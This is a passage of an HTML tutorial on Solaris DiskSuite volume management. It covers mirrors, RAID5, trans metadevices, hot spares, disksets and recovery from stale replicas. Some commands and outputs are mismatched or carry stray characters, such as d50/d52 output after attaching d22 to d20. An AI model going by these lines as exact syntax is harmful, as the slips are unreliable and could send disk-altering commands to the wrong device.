<p>6.<a name="3.) Creating a Mirror :">3 ) Creating a Mirror :</a></p>
<blockquote><p>
</b><font COLOR="#000000"></p>
<p>A <b>mirror</b> is a metadevice composed of one or more <b>submirrors</b>. A<br />
submirror is made of one or more striped or concatenated metadevices. Mirroring<br />
data provides you with maximum data availability by maintaining multiple copies<br />
of your data. The system must contain at least three state database replicas<br />
before you can create mirrors. Any file system including root (</font>/<font COLOR="#000000">),<br />
</font>swap<font COLOR="#000000">, and </font>/usr<font COLOR="#000000">,<br />
or any application such as a database, can use a mirror.</font><br />
<font COLOR="#000000">
</p></blockquote>
<p><b></p>
<p><a name="6.3.1 ) Creating a simple mirror from new partitions">6.3.1 ) Creating a simple mirror from new partitions</a></p>
<p style="margin-left: 33">1</b>.<u>Create two stripes for two submirors as d21 &amp; d22<br />
</u></font></p>
<dl>
<dd>
<p style="margin-left: 33">#<b> <u><br />
  metainit</u> d21 1 1 c0t0d0s2</dd>
<p>  </b></p>
<dd>
<p style="margin-left: 33">d21: Concat/Stripe is setup</dd>
<dd>
<p style="margin-left: 33">#<b> <u><br />
  metainit </u>t<br />
d22 1 1 c1t0d0s2</dd>
<p>  </b></p>
<dd>
<p style="margin-left: 33">d22: Concat/Stripe is setup</dd>
</dl>
<p><b></p>
<p style="margin-left: 33">2</b>. <u>Create a mirror device (d20) using one of the submirror (d21)<br />
</u></p>
<dl>
<dd>
<p style="margin-left: 33">#<b> <u><br />
  metainit</u> &nbsp; d20&nbsp;&nbsp; -m&nbsp;&nbsp; d21</dd>
<p>  </b></p>
<dd>
<p style="margin-left: 33">d20: Mirror is setup</dd>
</dl>
<p><b></p>
<p style="margin-left: 33">3</b>. <u>Attach the second submirror (D21) to the main mirror device (D20)<br />
</u></p>
<dl>
<dd>
<p style="margin-left: 33">#<b> metattach d20 d22</dd>
<p>  </b></p>
<dd>
<p style="margin-left: 33">d50: Submirror d52 is attached.</dd>
</dl>
<p><b></p>
<p style="margin-left: 33">4</b>. <u>Make file system on new metadevice</u><br />
<b></p>
<dl>
<dd>
<p style="margin-left: 33">#newfs /dev/md/rdsk/d20</dd>
<p></b></p>
<dd>
<p style="margin-left: 33">edit /etc/vfstab to mount the /dev/dsk/d20 on a mount point.</dd>
</dl>
<p><b></p>
<p><a name="6.3.2.) Mirroring a Partitions with data which can be unmounted"><br />
6.3.2.) Mirroring a Partitions with data which can be unmounted</a><br />
</b></p>
<dl>
<dd>
<p style="margin-left: 33"># <b><u>metainit</u> f<br />
d1 1 1 c1t0d0s0</dd>
<p>  </b></p>
<dd>
<p style="margin-left: 33">d1: Concat/Stripe is setup</dd>
<dd>
<p style="margin-left: 33"># <b><u>metainit</u> d2 1<br />
1 c2t0d0s0</dd>
<p>  </b></p>
<dd>
<p style="margin-left: 33">d2: Concat/Stripe is setup</dd>
<dd>
<p style="margin-left: 33"># <b><u>metainit</u> d0 -m<br />
d1</dd>
<p>  </b></p>
<dd>
<p style="margin-left: 33">d0: Mirror is setup</dd>
<dd>
<p style="margin-left: 33"># <b>umount /local</dd>
<p>  </b></p>
<dd>
<p style="margin-left: 33">(Edit the /etc/vfstab file so that the file system references the mirror)</dd>
<dd>
<p style="margin-left: 33">#<b>mount /local</dd>
<p>  </b></p>
<dd>
<p style="margin-left: 33">#<b>metattach d0 d2</dd>
<p>  </b></p>
<dd>
<p style="margin-left: 33">d0: Submirror d2 is attached</dd>
</dl>
<p>&nbsp;<br />
<b></p>
<p>
<a name="6.3.3 ) Mirroring a Partitions with data which can not be unmounted - root and /usr"><br />
6.3.3 ) Mirroring a Partitions with data which can not be unmounted &#8211; root and /usr</a><br />
</b></p>
<blockquote>
<blockquote>
<p><a name="· /usr mirroring">· </a> <b><a name="· /usr mirroring">/usr mirroring</a><br />
    </b>
  </p></blockquote>
</blockquote>
<dl>
<dd>
<p style="margin-left: 33"># <b>metainit -f d12 1 1 c0t3d0s6</dd>
<p>  </b></p>
<dd>
<p style="margin-left: 33">d12: Concat/Stripe is setup</dd>
<dd>
<p style="margin-left: 33"># <b>metainit d22 1 1 c1t0d0s6</dd>
<p>  </b></p>
<dd>
<p style="margin-left: 33">d22: Concat/Stripe is setup</dd>
<dd>
<p style="margin-left: 33"># <b>metainit d2 -m d12</dd>
<p>  </b></p>
<dd>
<p style="margin-left: 33">d2: Mirror is setup</dd>
<dd>
<p style="margin-left: 33">(Edit the /etc/vfstab file so that /usr references the mirror)</dd>
<dd>
<p style="margin-left: 33"># <b>reboot</dd>
<p>  </b></p>
<dd>
<p style="margin-left: 33">&#8230;</dd>
<dd>
<p style="margin-left: 33">&#8230;</dd>
<dd>
<p style="margin-left: 33"># <b>metattach d2 d22</dd>
<p>  </b></p>
<dd>
<p style="margin-left: 33">d2: Submirror d22 is attached</dd>
</dl>
<blockquote>
<blockquote>
<p><a name="· root mirroring">· </a> <b><a name="· root mirroring">root mirroring</a><br />
    </b>
  </p></blockquote>
</blockquote>
<dl>
<dd>
<p style="margin-left: 33"># <b>metainit -f d11 1 1 c0t3d0s0</dd>
<p>  </b></p>
<dd>
<p style="margin-left: 33">d11: Concat/Stripe is setup</dd>
<dd>
<p style="margin-left: 33"># <b>metainit d12 1 1 c1t3d0s0</dd>
<p>  </b></p>
<dd>
<p style="margin-left: 33">d12: Concat/Stripe is setup</dd>
<dd>
<p style="margin-left: 33"># <b>metainit d10 -m d11</dd>
<p>  </b></p>
<dd>
<p style="margin-left: 33">d10: Mirror is setup</dd>
<dd>
<p style="margin-left: 33"># <b>metaroot d10</dd>
<p>  </b></p>
<dd>
<p style="margin-left: 33"># <b>lockfs -fa</dd>
<p>  </b></p>
<dd>
<p style="margin-left: 33"># <b>reboot</dd>
<p> </b></p>
<dd>
<p style="margin-left: 33">…</dd>
<dd>
<p style="margin-left: 33">…</dd>
<dd>
<p style="margin-left: 33"># <b>metattach d10 d12</dd>
<p>  </b></p>
<dd>
<p style="margin-left: 33">d10: Submirror d12 is attached</dd>
</dl>
<p><b></p>
<p><a name="6.3.4  ) Making Mirrored disk bootable">6.3.4&nbsp; )</a></b><a name="6.3.4  ) Making Mirrored disk bootable"> <b>Making Mirrored disk bootable</b></a><br />
<b></p>
<p style="margin-left: 33">a.)</b> # installboot /usr/platform/`uname -i`/lib/fs/ufs/bootblk<br />
/dev/rdsk/c0t1d0s0<br />
<b></p>
<p><a name="2.) Creating alterbate name for Mirrored boot disk">6.3.5 &nbsp;)</a></b><a name="2.) Creating alterbate name for Mirrored boot disk"> <b>Creating alterbate name for Mirrored boot disk</b></a><br />
<b></p>
<p style="margin-left: 33">a</b>.) <u>Find physical path name for the second boot disk<br />
</u></p>
<p style="margin-left: 33"># <b>ls -l /dev/rdsk/c1t3d0s0<br />
</b></p>
<p style="margin-left: 33">lrwxrwxrwx 1 root root 55 Sep 12 11:19 /dev/rdsk/c1t3d0s0 -&gt;../../devices/sbus@1,f8000000/esp@1,200000/sd@3,0:a</p>
<p style="margin-left: 33"><b>b</b>.) <u>Create an alias for booting from disk2</u></p>
<p style="margin-left: 33"><b>ok&gt;</b> <b>nvalias bootdisk2 /sbus@1,f8000000/esp@1,200000/sd@3,0:a<br />
</b></p>
<p style="margin-left: 33"><b>ok&gt;</b> <b>boot bootdisk2</p>
<p>6.<a name="4.) Creating a RAID 5 volume :">4 <u>Creating a RAID 5 volume :</u></a><br />
</b></p>
<p><font COLOR="#000000">The system must contain at least three state<br />
database replicas before you can create RAID5 metadevices.<br />
</font></p>
<p><font COLOR="#000000">A RAID5 metadevice can only handle a single<br />
slice failure.A RAID5 metadevice can be grown by concatenating additional slices<br />
to the metadevice. The new slices do not store parity information, however they<br />
are parity protected. The resulting RAID5 metadevice continues to handle a<br />
single slice failure. </font>Create a RAID5 metadevice from a slice that<br />
contains an existing file system.will erase the data during the RAID5<br />
initialization process .The interlace value is key to RAID5 performance. It is<br />
configurable at the time the metadevice is created; thereafter, the value cannot<br />
be modified. The default interlace value is 16 Kbytes which is reasonable for<br />
most of the applications.</p>
<p>&nbsp;</p>
<p><a name="6.4.1.) To setup raid5 on three slices of different disks ."><b><br />
6.4.1.) <u>To setup raid5 on three slices of different disks .</u> </b> </a></p>
<dl>
<dd>
<p style="margin-left: 33"><b><br />
  # metainit d45 -r c2t3d0s2 c3t0d0s2 c4t0d0s2</b></dd>
<dd>
<p style="margin-left: 33">d45: RAID is setup</dd>
</dl>
<p>&nbsp;<br />
<b></p>
<p>6.<a name="5.) Creating a Trans Meta Device :">5.) <u><br />
Creating a Trans Meta Device :</u></a><br />
</b></p>
<p>Trans meta devices enables ufs logging . There is one logging device and a<br />
master device and all file system changes are written into logging device and<br />
posted on to master device . This greatly reduces the fsck time for very large<br />
file systems as fsck has to check only the logging device which is usually of 64<br />
M. maximum size.Logging device preferably should be mirrored and located on a different drive<br />
and controller than the master device .</p>
<p>Ufs logging can not be done for root partition.<br />
<b></p>
<p><a name="6.5.1) Trans Metadevice for a File System That Can Be Unmounted"><br />
6.5.1)</a></b><a name="6.5.1) Trans Metadevice for a File System That Can Be Unmounted"> <b>Trans Metadevice for a File System That Can Be Unmounted</b></a></p>
<blockquote>
<blockquote>
<p>· <b>/home2<br />
  </b>
</p></blockquote>
</blockquote>
<p><b></p>
<p style="margin-left: 33">1. </b><u>Setup metadevice<br />
</u></p>
<p style="margin-left: 33"># <b>umount /home2<br />
</b></p>
<p style="margin-left: 33"># <b>metainit d63 -t c0t2d0s2 c2t2d0s1<br />
</b></p>
<p style="margin-left: 33">d63: Trans is setup</p>
<p style="margin-left: 33">Logging becomes effective for the file system when it is remounted<br />
<b></p>
<p style="margin-left: 33">2. </b><u>Change vfstab entry &amp; reboot<br />
</u></p>
<dl>
<dd>
<p style="margin-left: 33">from<b></dd>
<p></b></p>
<dd>
<p style="margin-left: 33">/dev/md/dsk/d2 /dev/md/rdsk/d2 /home2 ufs 2 yes -</dd>
<dd>
<p style="margin-left: 33">to</dd>
<p><b></p>
<dd>
<p style="margin-left: 33">/dev/md/dsk/d63 /dev/md/rdsk/d63 /home2 ufs 2 yes -</dd>
<p></b></p>
<dd>
<p style="margin-left: 33"># <b>mount /home2</dd>
<p>  </b></p>
<dd>
<p style="margin-left: 33">Next reboot displays the following message for logging device</dd>
<dd>
<p style="margin-left: 33"># <b>reboot</dd>
<p>  </b></p>
<dd>
<p style="margin-left: 33">&#8230;</dd>
<dd>
<p style="margin-left: 33">/dev/md/rdsk/d63: is logging</dd>
</dl>
<p><b></p>
<p>6.5.2<a name="B.) Trans Metadevice for a File System That Cannot Be Unmounted"><br />
)</a></b><a name="B.) Trans Metadevice for a File System That Cannot Be Unmounted"> <b>Trans Metadevice for a File System That Cannot Be Unmounted</b></a></p>
<blockquote>
<blockquote>
<p>· <b>/usr
  </p></blockquote>
</blockquote>
<p style="margin-left: 33">1</b>.) <u>Setup metadevice<br />
</u></p>
<dl>
<dd>
<p style="margin-left: 33"># <b>metainit -f d20 -t c0t3d0s6 c1t2d0s1</dd>
<p>  </b></p>
<dd>
<p style="margin-left: 33">d20: Trans is setup</dd>
</dl>
<p><b></p>
<p style="margin-left: 33">2.) </b><u>Change vfstab entry &amp; reboot:<br />
</u></p>
<dl>
<dd>
<p style="margin-left: 33"><b>from</dd>
<p>  </b></p>
<dd>
<p style="margin-left: 33"><b>/dev/dsk/c0t3d0s6&nbsp;&nbsp;&nbsp;&nbsp; /dev/rdsk/c0t3d0s6&nbsp;&nbsp; /usr&nbsp;&nbsp; ufs&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1&nbsp;&nbsp;&nbsp;&nbsp; no&nbsp;&nbsp;&nbsp;&nbsp; -</b></dd>
<dd>
<p style="margin-left: 33"><b>to</b></dd>
<dd><b><br />
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /dev/md/dsk/d20&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /dev/md/rdsk/d20&nbsp;&nbsp;&nbsp;&nbsp; /usr&nbsp;&nbsp;&nbsp; ufs&nbsp;&nbsp;&nbsp;&nbsp; 1&nbsp;&nbsp;&nbsp;&nbsp; no&nbsp;&nbsp;&nbsp;&nbsp; -</b></dd>
<p>  <b>
</dl>
<p></b></p>
<p style="margin-left: 33">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # <b>reboot</p>
<p><a name="6.5.3 ) TransMeta device using Mirrors">6.5.3 ) TransMeta device using Mirrors</a></p>
<p style="margin-left: 33">1</b>.) <u>Setup metadevice<br />
</u><b></p>
<dl>
<dd>
<p style="margin-left: 33">#umount /home2</dd>
<dd>
<p style="margin-left: 33">#metainit&nbsp;&nbsp;&nbsp;&nbsp; d64&nbsp;&nbsp;&nbsp;&nbsp; -t&nbsp;&nbsp;&nbsp;&nbsp; d30&nbsp;&nbsp;&nbsp;&nbsp; d12</dd>
<p></b></p>
<dd>
<p style="margin-left: 33">d64 trans is setup</dd>
</dl>
<p><b></p>
<p style="margin-left: 33">2.) </b><u>Change vfstab entry &amp; reboot:<br />
</u><b></p>
<dl>
<dd>
<p style="margin-left: 33">from</dd>
<p></b></p>
<dd>
<p style="margin-left: 33"><b>/dev/md/dsk/d30 /dev/md/rdsk/d30 /home2 ufs 2 yes</b></dd>
<p><i></p>
<dd>
<p style="margin-left: 33">to</dd>
<p></i><b></p>
<dd>
<p style="margin-left: 33">/dev/md/dsk/d64 /dev/md/rdsk/d64 /home2 ufs 2 yes</dd>
</dl>
<p><a name="6.) HotSpare Pool">6.6 ) <u>HotSpare Pool</u></a><br />
</b><font COLOR="#000000"><br />
A hot spare pool is a collection of slices reserved by DiskSuite to be<br />
automatically substituted in case of a slice failure in either a submirror or<br />
RAID5 metadevice . A hot spare cannot be a metadevice and it can be associated<br />
with multiple submirrors or RAID5 metadevices. However, a submirror or RAID5<br />
metadevice can only be asociated with one hot spare pool. .Replacement is based on a first fit for the failed slice and they need to be<br />
replaced with repaired or new slices. Hot spare pools may be allocated,<br />
deallocated, or reassigned at any time unless a slice in the hot spare pool is<br />
being used to replace damaged slice of its associated metadevice.</font>
<p><b><br />
  <a name="6.6.1) Associating a Hot Spare Pool with Submirrors">6.6.1) Associating a Hot Spare Pool with Submirrors<br />
</a><br />
</b></p>
<dl>
<dd>
<p style="margin-left: 33"># <b>metaparam -h&nbsp;&nbsp;&nbsp;&nbsp; hsp100&nbsp;&nbsp;&nbsp;&nbsp;<br />
d10</dd>
<p>  </b></p>
<dd>
<p style="margin-left: 33"># <b>metaparam -h&nbsp;&nbsp;&nbsp;&nbsp; hsp100&nbsp;&nbsp;&nbsp;&nbsp;<br />
d11</dd>
<p>  </b></p>
<dd>
<p style="margin-left: 33"># <b>metastat d0</dd>
<p>  </b></p>
<dd>
<p style="margin-left: 33">d0: Mirror</dd>
<dd>
<p style="margin-left: 33">Submirror 0: d10</dd>
<dd>
<p style="margin-left: 33">State: Okay</dd>
<dd>
<p style="margin-left: 33">Submirror 1: d11</dd>
<dd>
<p style="margin-left: 33">State: Okay</dd>
<dd>
<p style="margin-left: 33">&#8230;</dd>
<dd>
<p style="margin-left: 33">d10: Submirror of d0</dd>
<dd>
<p style="margin-left: 33">State: Okay</dd>
<dd>
<p style="margin-left: 33">Hot spare pool: hsp100</dd>
<dd>
<p style="margin-left: 33">&#8230;</dd>
<dd>
<p style="margin-left: 33">d11: Submirror of d0</dd>
<dd>
<p style="margin-left: 33">State: Okay</dd>
<dd>
<p style="margin-left: 33">Hot spare pool: hsp100</dd>
</dl>
<blockquote>
<blockquote><p>
    <b>
    </p></blockquote>
</blockquote>
<p>
  <a name="6.6.2 ) Associating or changing a Hot Spare Pool with a RAID5 Metadevice">6.6.2 ) Associating or changing a Hot Spare Pool with a RAID5 Metadevice</a></p>
<dl>
<dd>
<p style="margin-left: 33">#metaparam&nbsp;&nbsp;&nbsp;&nbsp; -h&nbsp;&nbsp;&nbsp;<br />
    hsp001&nbsp;&nbsp;&nbsp;&nbsp; d10</b></dd>
<dd>
<p style="margin-left: 33"><b>#metastat&nbsp;&nbsp;&nbsp;&nbsp; d10</b></dd>
<dd>
<p style="margin-left: 33">d10:RAID</dd>
<dd>
<p style="margin-left: 33">State: Okay</dd>
<dd>
<p style="margin-left: 33">Hot spare Pool: hsp001</dd>
</dl>
<p>
    <b><br />
    <a name="6.6.3 ) Adding a Hot Spare Slice to All Hot Spare Pools">6.6.3 ) Adding a Hot Spare Slice to All Hot Spare Pools<br />
    </a><br />
</b></p>
<dl>
<dd>
<p style="margin-left: 33"># <b>metahs&nbsp;&nbsp; -a&nbsp;&nbsp;&nbsp; -all&nbsp;&nbsp;&nbsp;<br />
    /dev/dsk/c3t0d0s2</dd>
<p>  </b></p>
<dd>
<p style="margin-left: 33">hsp001: Hotspare is added</dd>
<dd>
<p style="margin-left: 33">hsp002: Hotspare is added</dd>
<dd>
<p style="margin-left: 33">hsp003<b>:</b> Hotspare is added</dd>
<dd>&nbsp;</dd>
</dl>
<p><b></p>
<p>6.<a name="7.) Disksets">7 ) <u>Disksets</u></a></p>
<p>Few important points about disksets :<br />
</b></p>
<ul>
<li>
<p> A diskset is a set of shared <i>disk drives</i> containing<br />
        DiskSuite objects that can be shared exclusively (but not concurrently)<br />
        by one or two hosts. Disksets are used in high availability failover<br />
        situations where the ownership of the failed machine’s diskset is<br />
        transferred to other machine . Disksets are connected to two hosts for<br />
        sharing and must have&nbsp; same attributes , controller/target/drive ,<br />
        in both machines except for the ownership .</li>
</ul>
<ul>
<li>
DiskSuite must be installed on each host that will be connected to the<br />
        diskset.There is one metadevice state database per shared diskset and one on<br />
        the &quot;local&quot; diskset. Each host must have its local metadevice<br />
        state database set up before you can create disksets.</p>
<p>    Each host in a diskset must have a local diskset besides a shared diskset.A diskset can be created seprately on one host&nbsp; &amp;&nbsp; then<br />
        added to&nbsp; the second host later.</li>
</ul>
<ul>
<li>
Drive should not be in use by a&nbsp; file system, database, or any other<br />
application for adding in diskset .
        </li>
</ul>
<div align="left">
<ul>
<li>When a drive is added to disksuite it&nbsp; is&nbsp;<br />
        repartitioned&nbsp; so that the metadevice state database replica for<br />
        the diskset can be placed on the drive. Drives are repartitioned when<br />
        they are added to a diskset only if Slice 7 is not set up correctly. A<br />
        small portion of each drive is reserved in Slice 7 for use by DiskSuite.<br />
        The remainder of the space on each drive is placed into Slice 0.. After<br />
        adding a drive to a diskset, it may be repartitioned as necessary,<br />
        provided&nbsp; that no changes are made to Slice 7 . If Slice 7 starts<br />
        at cylinder 0, and is large enough to contain a state database replica,<br />
        the disk is not repartitioned.
        </li>
</ul></div>
<div align="left">
<ul>
<li>When drives are added to a diskset, DiskSuite re-balances the state<br />
        database replicas across the remaining drives. Later, if necessary, you<br />
        can change the replica layout with the metadb(1M)<br />
        command.
        </li>
</ul></div>
<div align="left">
<ul>
<li>To create a diskset, root<br />
        must be a member of Group 14, or the ./rhosts<br />
        file must contain an entry for each host.
        </li>
</ul></div>
<p><b></p>
<p>&nbsp;</p>
<p><a name="6.7.1 ) Creating Two Disksets">6.7.1 ) <u>Creating Two Disksets</u></a><br />
</b></p>
<dl>
<dd>
<p style="margin-left: 33">host1# <b>metaset&nbsp;&nbsp; -s&nbsp;&nbsp;&nbsp; diskset0&nbsp;&nbsp;<br />
    -a&nbsp;&nbsp; -h&nbsp;&nbsp;&nbsp; host1&nbsp;&nbsp;&nbsp; host2</dd>
<p>  </b></p>
<dd>
<p style="margin-left: 33">host1# <b>metaset&nbsp;&nbsp; -s&nbsp;&nbsp;&nbsp;<br />
    diskset1&nbsp; -a&nbsp;&nbsp;&nbsp; -h&nbsp;&nbsp;&nbsp; host1&nbsp;&nbsp;&nbsp;<br />
    host2 </b>
  </dd>
<dd>
<p style="margin-left: 33">host1# <b>metaset</dd>
<p>  </b></p>
<dd>
<p style="margin-left: 33">Set name = diskset0, Set number = 1</dd>
<dd>
<p style="margin-left: 33">Host&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Owner</dd>
<dd>
<p style="margin-left: 33">host1</dd>
<dd>
<p style="margin-left: 33">host2</dd>
<dd>
<p style="margin-left: 33">Set name = diskset1, Set number = 2</dd>
<dd>
<p style="margin-left: 33">Host&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Owner</dd>
<dd>
<p style="margin-left: 33">host1</dd>
<dd>
<p style="margin-left: 33">host2</dd>
</dl>
<p><b></p>
<p><a name="6.7.2 ) Adding Drives to a Diskset">6.7.2 ) <u>Adding Drives to a Diskset</u></a><br />
</b></p>
<dl>
<dd>
<p style="margin-left: 33">host1# <b>metaset&nbsp;&nbsp;&nbsp;&nbsp; -s&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
diskset0&nbsp;&nbsp;&nbsp;&nbsp; -a&nbsp;&nbsp;&nbsp; c1t2d0&nbsp; c1t3d0&nbsp; c2t2d0&nbsp;&nbsp;<br />
c2t3d0&nbsp;&nbsp; c2t4d0&nbsp;&nbsp; c2t5d0 </b>
  </dd>
<dd>
<p style="margin-left: 33">&nbsp;</dd>
<dd>
<p style="margin-left: 33">host1# <b>metaset </b>
  </dd>
<dd>
<p style="margin-left: 33">Set name = diskset0, Set number = 1</dd>
<dd>
<p style="margin-left: 33">Host&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Owner</dd>
<dd>
<p style="margin-left: 33">host1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Yes</dd>
<dd>
<p style="margin-left: 33">host2</dd>
<dd>
<p style="margin-left: 33">&nbsp;</dd>
<dd>
<p style="margin-left: 33">Drive&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dbase</dd>
<dd>
<p style="margin-left: 33">c1t2d0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Yes</dd>
<dd>
<p style="margin-left: 33">c1t3d0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Yes</dd>
<dd>
<p style="margin-left: 33">c2t2d0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Yes</dd>
<dd>
<p style="margin-left: 33">c2t3d0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Yes</dd>
<dd>
<p style="margin-left: 33">c2t4d0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Yes</dd>
<dd>
<p style="margin-left: 33">c2t5d0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Yes</dd>
<dd>
<p style="margin-left: 33">&nbsp;</dd>
<dd>
<p style="margin-left: 33">Set name = diskset1, Set number = 2</dd>
<dd>
<p style="margin-left: 33">Host&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Owner</dd>
<dd>
<p style="margin-left: 33">host1</dd>
<dd>
<p style="margin-left: 33">host2</dd>
</dl>
<p><b></p>
<p><a name="6.7.3 ) Creating  a Mirror in a Diskset">6.7.3 ) <u>Creating&nbsp; a Mirror in a Diskset&nbsp;</u></a><br />
</b></p>
<dl>
<dd>
<p style="margin-left: 33"># <b>metainit -s diskset0 d51&nbsp;&nbsp; 1&nbsp;&nbsp;<br />
    1&nbsp;&nbsp; /dev/dsk/c0t0d0s2</dd>
<p>  </b></p>
<dd>
<p style="margin-left: 33">diskset0/d51: Concat/Stripe is setup</dd>
<dd>
<p style="margin-left: 33">&nbsp;</dd>
<dd>
<p style="margin-left: 33"># <b>metainit -s diskset0 d52&nbsp;&nbsp; 1&nbsp;&nbsp;<br />
    1&nbsp;&nbsp; /dev/dsk/c1t0d0s2</dd>
<p>  </b></p>
<dd>
<p style="margin-left: 33">diskset0/d52: Concat/Stripe is setup</dd>
<dd>
<p style="margin-left: 33">&nbsp;</dd>
<dd>
<p style="margin-left: 33"># <b>metainit -s diskset0 d50&nbsp;&nbsp; -m&nbsp;&nbsp;<br />
    d51</dd>
<p>  </b></p>
<dd>
<p style="margin-left: 33">diskset0/d50: mirror is setup</dd>
<dd>
<p style="margin-left: 33">&nbsp;</dd>
<dd>
<p style="margin-left: 33"># <b>metattach -s diskset0&nbsp;&nbsp; d50&nbsp;&nbsp;&nbsp;&nbsp;<br />
    d52</dd>
<p>  </b></p>
<dd>
<p style="margin-left: 33">diskset0/d50: Submirror d52 is attached</dd>
</dl>
<p><b></p>
<p>7.0 <a name="Trouble Shooting">Trouble Shooting </a><br />
</b></p>
<p><b>7.<a name="1.) Recovering from  Stale State Database Replicas">1 ) <u>Recovering from&nbsp; Stale State Database Replicas</u></a></b></p>
<dl>
<dd><b>Problem&nbsp;&nbsp;&nbsp; : </b>State database<br />
  corrupted or unavailable .</dd>
<dd><b>Causes&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : </b>Disk failure , Disk I/O<br />
  error.</dd>
<dd><b>Symptoms :</b> Error message at the booting time if databases are &lt;=<br />
  50% of total database. System comes to Single user mode.</dd>
</dl>
<p style="margin-left: 33">ok <b><kbd>boot</kbd></b><br />
&#8230;<br />
Hostname: host1<br />
metainit: Host1: stale databases<br />
Insufficient metadevice database replicas located.<br />
Use metadb to delete databases which are broken.<br />
Ignore any &quot;Read-only file system&quot; error messages.<br />
Reboot the system when finished to reload the metadevice<br />
database.<br />
After reboot, repair any broken database replicas which were<br />
deleted.<br />
Type Ctrl-d to proceed with normal startup,<br />
(or give root password for system maintenance): &lt;<var>root-password</var>&gt;<br />
Entering System Maintenance Mode.</p>
<p>1.) Use the <tt>metadb</tt> command to look at the metadevice state database<br />
and see which state database replicas are not available. Marked by unknown and M<br />
flag.</p>
<p style="margin-left: 33"># <b><kbd>/usr/opt/SUNWmd/metadb -i</kbd></b><br />
&nbsp;&nbsp; flags&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; first blk&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
block count<br />
&nbsp;&nbsp;&nbsp; a m&nbsp; p&nbsp; lu&nbsp;&nbsp;&nbsp; 16&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
1034&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
/dev/dsk/c0t3d0s3<br />
&nbsp;&nbsp;&nbsp; a&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; p&nbsp; l&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
1050&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
1034&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
/dev/dsk/c0t3d0s3<br />
&nbsp;&nbsp;&nbsp; M&nbsp;&nbsp;&nbsp; p&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
unknown&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unknown&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
/dev/dsk/c1t2d0s3<br />
&nbsp;&nbsp;&nbsp; M&nbsp;&nbsp;&nbsp; p&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
unknown&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unknown&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>
<dl>
<dd>2.) Delete the state database replicas on the bad disk using the <kbd>-d</kbd><br />
  option to the <tt>metadb(1M)</tt> command.</dd>
<dd>
<p style="margin-left: 33">At this point, the root (<kbd>/</kbd>) file system<br />
  is read-only. You can ignore the <kbd>mddb.cf</kbd> error messages:</dd>
<dd>
<p style="margin-left: 33">&nbsp;</dd>
<dd>
<p style="margin-left: 33"># <b><kbd>/usr/opt/SUNWmd/metadb&nbsp; -d&nbsp; -f&nbsp;<br />
  c1t2d0s3</kbd></b><br />
  metadb: demo: /etc/opt/SUNWmd/mddb.cf.new: Read-only file system .</dd>
<dd>
<p style="margin-left: 33">&nbsp;</dd>
<dd>
<p style="margin-left: 22"><u>Verify deletion</u> </dd>
<dd>
<p style="margin-left: 33"># <b><kbd>/usr/opt/SUNWmd/metadb&nbsp; -i</kbd></b><br />
&nbsp;&nbsp;&nbsp; flags&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; first blk&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
  block count<br />
&nbsp;&nbsp;&nbsp;&nbsp; a m&nbsp; p&nbsp; lu&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
  16&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
